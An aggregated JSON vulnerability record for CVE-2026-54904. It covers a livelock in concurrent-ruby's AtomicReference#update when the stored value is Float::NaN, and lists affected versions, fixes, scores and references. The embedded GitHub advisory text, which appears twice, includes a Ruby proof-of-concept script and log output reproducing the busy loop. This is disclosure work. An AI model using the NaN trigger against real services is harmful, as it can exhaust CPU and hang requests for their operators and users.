{"id":"CVE-2026-54904","aliases":["DEBIAN-CVE-2026-54904","EUVD-2026-38810","GHSA-h8w8-99g7-qmvj","UBUNTU-CVE-2026-54904"],"status":"published","title":"concurrent-ruby:  `AtomicReference#update` livelocks when the stored value is `Float::NAN`","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds; Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00673,"percentile":0.52387,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-835"],"published":"2026-06-19T20:47:35Z","modified":"2026-10-28T02:30:55Z","fixes":[{"ecosystem":"RubyGems","package":"concurrent-ruby","fixed_in":["1.3.7"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"ruby-concurrent","fixed_in":["1.3.7-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"concurrent-ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.7"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.6+dfsg-5","1.2.3-1","1.2.3-2","1.2.3-3","1.2.3-4","1.3.4-1","1.3.4-1~exp1","1.3.5-1","1.3.6-1","1.3.7-1","1.3.7-2","1.3.7-3","1.3.7-4","1.3.8-1"]},{"source":"osv","ecosystem":"Debian:13","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.5-1","1.3.6-1","1.3.7-1","1.3.7-2","1.3.7-3","1.3.7-4","1.3.8-1"]},{"source":"osv","ecosystem":"Debian:14","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.7-1"}]}],"versions":["1.3.5-1","1.3.6-1"]},{"source":"osv","ecosystem":"RubyGems","package":"concurrent-ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.7"}]}],"versions":["0.0.1","0.1.0","0.1.1","0.1.1.pre.1","0.1.1.pre.2","0.1.1.pre.3","0.1.1.pre.4","0.1.1.pre.5","0.2.0","0.2.1","0.2.2","0.3.0","0.3.0.pre.1","0.3.0.pre.2","0.3.0.pre.3","0.3.1","0.3.1.pre.1","0.3.1.pre.2","0.3.2","0.4.0","0.4.1","0.5.0","0.5.0.pre.1","0.6.0","0.6.0.pre.1","0.6.0.pre.2","0.6.1","0.7.0","0.7.0.rc0","0.7.0.rc1","0.7.0.rc2","0.7.1","0.7.2","0.8.0","0.8.0.pre1","0.8.0.pre2","0.9.0","0.9.0.pre2","0.9.0.pre3","0.9.1","0.9.2","1.0.0","1.0.0.pre1","1.0.0.pre2","1.0.0.pre3","1.0.0.pre4","1.0.0.pre5","1.0.1","1.0.2","1.0.3","1.0.3.pre3","1.0.4","1.0.5","1.1.0.pre1","1.1.0.pre2","1.1.1","1.1.10","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.6.pre1","1.1.7","1.1.8","1.1.9","1.2.0","1.2.1","1.2.2","1.2.3","1.3.1","1.3.1.pre","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.0-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.5-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.5-3","1.0.5-4","1.1.6+dfsg-2","1.1.6+dfsg-3"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.6+dfsg-3","1.1.6+dfsg-3build1","1.1.6+dfsg-4"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.6+dfsg-5build2","1.1.6+dfsg-5build3","1.2.3-2build1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.6-1","1.3.7-4","1.3.8-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.4-1","1.3.6-1"]}],"products":[{"vendor":"ruby-concurrency","product":"concurrent-ruby"},{"vendor":"rubyconcurrency","product":"concurrent_ruby"}],"references":[{"url":"https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj","tags":["x_refsource_CONFIRM","exploit","Exploit","Third Party Advisory","advisory","web","report"]},{"url":"https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/ruby-concurrency/concurrent-ruby/releases/tag/v1.3.7","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54904.yml","tags":["x_refsource_MISC","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54904","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54904","tags":["web"]},{"url":"https://github.com/advisories/GHSA-h8w8-99g7-qmvj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54904.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-54904","tags":["advisory"]},{"url":"https://github.com/ruby-concurrency/concurrent-ruby","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-54904","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54904","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-54904","title":"concurrent-ruby:  `AtomicReference#update` livelocks when the stored value is `Float::NAN`","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds; Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T15:44:21.992Z","modified":"2026-08-05T17:36:28.452Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T13:38:09.774038Z"}],"euvd":[{"id":"EUVD-2026-38810","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds; Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T15:44:21Z","modified":"2026-08-05T17:36:28Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:02:09.520152Z"}],"ghsa":[{"id":"GHSA-h8w8-99g7-qmvj","title":"Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`","description":"### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n  true until compare_and_set(old_value = get, new_value = yield(old_value))\n  new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n  if old_value.kind_of? Numeric\n    while true\n      old = get\n\n      return false unless old.kind_of? Numeric\n      return false unless old == old_value\n\n      result = _compare_and_set(old, new_value)\n      return result if result\n    end\n  else\n    _compare_and_set(old_value, new_value)\n  end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire 'concurrent/atomic/atomic_reference'\nrequire 'concurrent/version'\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = Thread.new do\n  ref.update do |_old_value|\n    attempts += 1\n    0.0\n  end\n  finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? \u0026\u0026 !finished \u0026\u0026 attempts \u003e 1000\n  puts 'result=REPRODUCED busy retry loop; update did not complete'\nelse\n  puts 'result=NOT_REPRODUCED'\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n  control_attempts += 1\n  old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))","status":"published","published":"2026-06-19T20:47:35Z","modified":"2026-08-05T17:36:07Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:40:56.852119Z"}],"nvd":[{"id":"CVE-2026-54904","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds; Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T17:17:29.267Z","modified":"2026-10-25T22:10:00.15Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:12:25.67873Z"}],"osv":[{"id":"CVE-2026-54904","title":"concurrent-ruby:  `AtomicReference#update` livelocks when the stored value is `Float::NAN`","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds; Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T15:44:21.992Z","modified":"2026-10-28T02:30:55.078488992Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T15:45:10.818486Z"},{"id":"DEBIAN-CVE-2026-54904","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds; Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T17:17:29.267Z","modified":"2026-10-26T11:47:39.218656561Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-h8w8-99g7-qmvj","title":"Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`","description":"### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n  true until compare_and_set(old_value = get, new_value = yield(old_value))\n  new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n  if old_value.kind_of? Numeric\n    while true\n      old = get\n\n      return false unless old.kind_of? Numeric\n      return false unless old == old_value\n\n      result = _compare_and_set(old, new_value)\n      return result if result\n    end\n  else\n    _compare_and_set(old_value, new_value)\n  end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire 'concurrent/atomic/atomic_reference'\nrequire 'concurrent/version'\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = Thread.new do\n  ref.update do |_old_value|\n    attempts += 1\n    0.0\n  end\n  finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? \u0026\u0026 !finished \u0026\u0026 attempts \u003e 1000\n  puts 'result=REPRODUCED busy retry loop; update did not complete'\nelse\n  puts 'result=NOT_REPRODUCED'\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n  control_attempts += 1\n  old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))","status":"published","published":"2026-06-19T20:47:35Z","modified":"2026-09-10T03:50:49.790653499Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T15:46:48.920784Z"},{"id":"UBUNTU-CVE-2026-54904","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds; Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T17:17:00Z","modified":"2026-10-17T13:00:26.404287099Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:41.382716Z"}]}}
